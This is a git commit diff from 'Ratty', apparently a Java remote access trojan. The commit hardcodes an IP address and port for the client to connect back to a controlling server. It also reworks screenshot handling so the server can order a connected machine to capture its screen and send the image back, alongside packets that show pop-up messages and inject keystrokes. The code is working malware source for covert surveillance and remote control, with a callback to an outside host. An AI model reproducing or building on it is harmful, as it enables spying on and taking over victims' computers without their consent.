Browse Source

Major changes

Taking screenshots now works properly
master
Sogomn 9 years ago
parent
commit
b1607ef0a1
  1. 8
      Ratty/src/de/sogomn/rat/Ratty.java
  2. 6
      Ratty/src/de/sogomn/rat/packet/IPacket.java
  3. 77
      Ratty/src/de/sogomn/rat/packet/ImagePacket.java
  4. 5
      Ratty/src/de/sogomn/rat/packet/PacketType.java
  5. 7
      Ratty/src/de/sogomn/rat/packet/PopupPacket.java
  6. 81
      Ratty/src/de/sogomn/rat/packet/ScreenshotPacket.java
  7. 41
      Ratty/src/de/sogomn/rat/server/gui/ServerGuiController.java

8
Ratty/src/de/sogomn/rat/Ratty.java

@ -13,7 +13,9 @@ import de.sogomn.rat.server.gui.ServerGuiController;
public final class Ratty {
public static final boolean CLIENT = true;
public static final String ADDRESS = "46.59.138.220";
public static final int PORT = 23456;
public static final boolean CLIENT = false;
private Ratty() {
//...
@ -62,11 +64,11 @@ public final class Ratty {
if (CLIENT) {
System.out.println("Starting client");
connectToHost("localhost", 23456);
connectToHost(ADDRESS, PORT);
} else {
System.out.println("Starting server");
startServer(23456);
startServer(PORT);
}
}

6
Ratty/src/de/sogomn/rat/packet/IPacket.java

@ -6,10 +6,10 @@ import de.sogomn.rat.ActiveClient;
public interface IPacket {
public abstract void send(final ActiveClient client);
void send(final ActiveClient client);
public abstract void receive(final ActiveClient client);
void receive(final ActiveClient client);
public abstract void execute(final ActiveClient client);
void execute(final ActiveClient client);
}

77
Ratty/src/de/sogomn/rat/packet/ImagePacket.java

@ -0,0 +1,77 @@
package de.sogomn.rat.packet;
import java.awt.image.BufferedImage;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import javax.imageio.ImageIO;
import de.sogomn.engine.Screen;
import de.sogomn.engine.Screen.ResizeBehavior;
import de.sogomn.rat.ActiveClient;
public final class ImagePacket implements IPacket {
private BufferedImage image;
private static final BufferedImage NO_IMAGE = new BufferedImage(100, 100, BufferedImage.TYPE_INT_RGB);
public ImagePacket() {
image = NO_IMAGE;
}
public ImagePacket(final BufferedImage image) {
this.image = image;
}
@Override
public void send(final ActiveClient client) {
final ByteArrayOutputStream out = new ByteArrayOutputStream();
try {
ImageIO.write(image, "JPG", out);
} catch (final IOException ex) {
ex.printStackTrace();
}
final byte[] data = out.toByteArray();
client.writeInt(data.length);
client.write(data);
}
@Override
public void receive(final ActiveClient client) {
final int length = client.readInt();
final byte[] data = new byte[length];
client.read(data);
final ByteArrayInputStream in = new ByteArrayInputStream(data);
try {
image = ImageIO.read(in);
} catch (final IOException ex) {
image = NO_IMAGE;
ex.printStackTrace();
}
}
@Override
public void execute(final ActiveClient client) {
final int width = image.getWidth();
final int height = image.getHeight();
final Screen screen = new Screen(width, height);
screen.addListener(g -> {
g.drawImage(image, 0, 0, width, height, null);
});
screen.setResizeBehavior(ResizeBehavior.KEEP_ASPECT_RATIO);
screen.show();
screen.redraw();
}
}

5
Ratty/src/de/sogomn/rat/packet/PacketType.java

@ -3,9 +3,10 @@ package de.sogomn.rat.packet;
public enum PacketType {
POPUP(1, PopupPacket.class),
SCREENSHOT(2, ScreenshotPacket.class),
IMAGE(2, ImagePacket.class),
KEY_EVENT(3, KeyEventPacket.class),
FREE(4, FreePacket.class);
FREE(4, FreePacket.class),
SCREENSHOT(5, ScreenshotPacket.class);
private final byte id;
private final Class<? extends IPacket> clazz;

7
Ratty/src/de/sogomn/rat/packet/PopupPacket.java

@ -1,5 +1,6 @@
package de.sogomn.rat.packet;
import javax.swing.JDialog;
import javax.swing.JOptionPane;
import de.sogomn.rat.ActiveClient;
@ -30,7 +31,11 @@ public final class PopupPacket implements IPacket {
@Override
public void execute(final ActiveClient client) {
JOptionPane.showMessageDialog(null, message);
final JOptionPane optionPane = new JOptionPane(message);
final JDialog dialog = optionPane.createDialog(null);
dialog.setModal(false);
dialog.setVisible(true);
}
public String getMessage() {

81
Ratty/src/de/sogomn/rat/packet/ScreenshotPacket.java

@ -4,85 +4,54 @@ import java.awt.AWTException;
import java.awt.Rectangle;
import java.awt.Robot;
import java.awt.image.BufferedImage;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import javax.imageio.ImageIO;
import de.sogomn.engine.Screen;
import de.sogomn.engine.Screen.ResizeBehavior;
import de.sogomn.rat.ActiveClient;
public final class ScreenshotPacket implements IPacket {
private BufferedImage image;
private static final BufferedImage NO_IMAGE = new BufferedImage(100, 100, BufferedImage.TYPE_INT_RGB);
private int x, y;
private int width, height;
public ScreenshotPacket() {
image = NO_IMAGE;
//...
}
public ScreenshotPacket(final int x, final int y, final int width, final int height) {
try {
final Robot robot = new Robot();
image = robot.createScreenCapture(new Rectangle(x, y, width, height));
} catch (final AWTException ex) {
image = NO_IMAGE;
ex.printStackTrace();
}
this.x = x;
this.y = y;
this.width = width;
this.height = height;
}
@Override
public void send(final ActiveClient client) {
final ByteArrayOutputStream out = new ByteArrayOutputStream();
try {
ImageIO.write(image, "JPG", out);
} catch (final IOException ex) {
ex.printStackTrace();
}
final byte[] data = out.toByteArray();
client.writeInt(data.length);
client.write(data);
client.writeInt(x);
client.writeInt(y);
client.writeInt(width);
client.writeInt(height);
}
@Override
public void receive(final ActiveClient client) {
final int length = client.readInt();
final byte[] data = new byte[length];
client.read(data);
final ByteArrayInputStream in = new ByteArrayInputStream(data);
try {
image = ImageIO.read(in);
} catch (final IOException ex) {
image = NO_IMAGE;
ex.printStackTrace();
}
x = client.readInt();
y = client.readInt();
width = client.readInt();
height = client.readInt();
}
@Override
public void execute(final ActiveClient client) {
final int width = image.getWidth();
final int height = image.getHeight();
final Rectangle screenRect = new Rectangle(x, y, width, height);
final Screen screen = new Screen(width, height);
screen.addListener(g -> {
g.drawImage(image, 0, 0, width, height, null);
});
screen.setResizeBehavior(ResizeBehavior.KEEP_ASPECT_RATIO);
screen.show();
screen.redraw();
try {
final Robot robot = new Robot();
final BufferedImage image = robot.createScreenCapture(screenRect);
final ImagePacket packet = new ImagePacket(image);
client.sendPacket(packet);
} catch (final AWTException ex) {
ex.printStackTrace();
}
}
}

41
Ratty/src/de/sogomn/rat/server/gui/ServerGuiController.java

@ -48,6 +48,21 @@ public final class ServerGuiController implements IServerObserver, IClientObserv
return null;
}
/*HARDCODED ATM*/
private IPacket getPacket(final String actionCommand) {
if (actionCommand == RattyGui.POPUP) {
return new PopupPacket("Test message");
} else if (actionCommand == RattyGui.SCREENSHOT) {
return new ScreenshotPacket(0, 0, 1000, 1000);
} else if (actionCommand == RattyGui.KEY_EVENT) {
return new KeyEventPacket(KeyEvent.VK_G, KeyEventPacket.TYPE);
} else if (actionCommand == RattyGui.FREE) {
return new FreePacket();
}
return null;
}
@Override
public void packetReceived(final ActiveClient client, final IPacket packet) {
packet.execute(client);
@ -68,35 +83,11 @@ public final class ServerGuiController implements IServerObserver, IClientObserv
System.out.println("Server closed");
}
/*TODO: MAKE DYNAMIC*/
@Override
public void userInput(final String actionCommand) {
final long lastIdClicked = gui.getLastIdClicked();
final ActiveClient client = getClient(lastIdClicked).client;
IPacket packet = null;
switch (actionCommand) {
case RattyGui.POPUP:
packet = new PopupPacket("Test message");
break;
case RattyGui.SCREENSHOT:
packet = new ScreenshotPacket(0, 0, 500, 500);
break;
case RattyGui.KEY_EVENT:
packet = new KeyEventPacket(KeyEvent.VK_G, KeyEventPacket.TYPE);
break;
case RattyGui.FREE:
final FreePacket freePacket = new FreePacket();
client.sendPacket(freePacket);
removeClient(client);
break;
}
final IPacket packet = getPacket(actionCommand);
if (packet != null) {
client.sendPacket(packet);

Loading…
Cancel
Save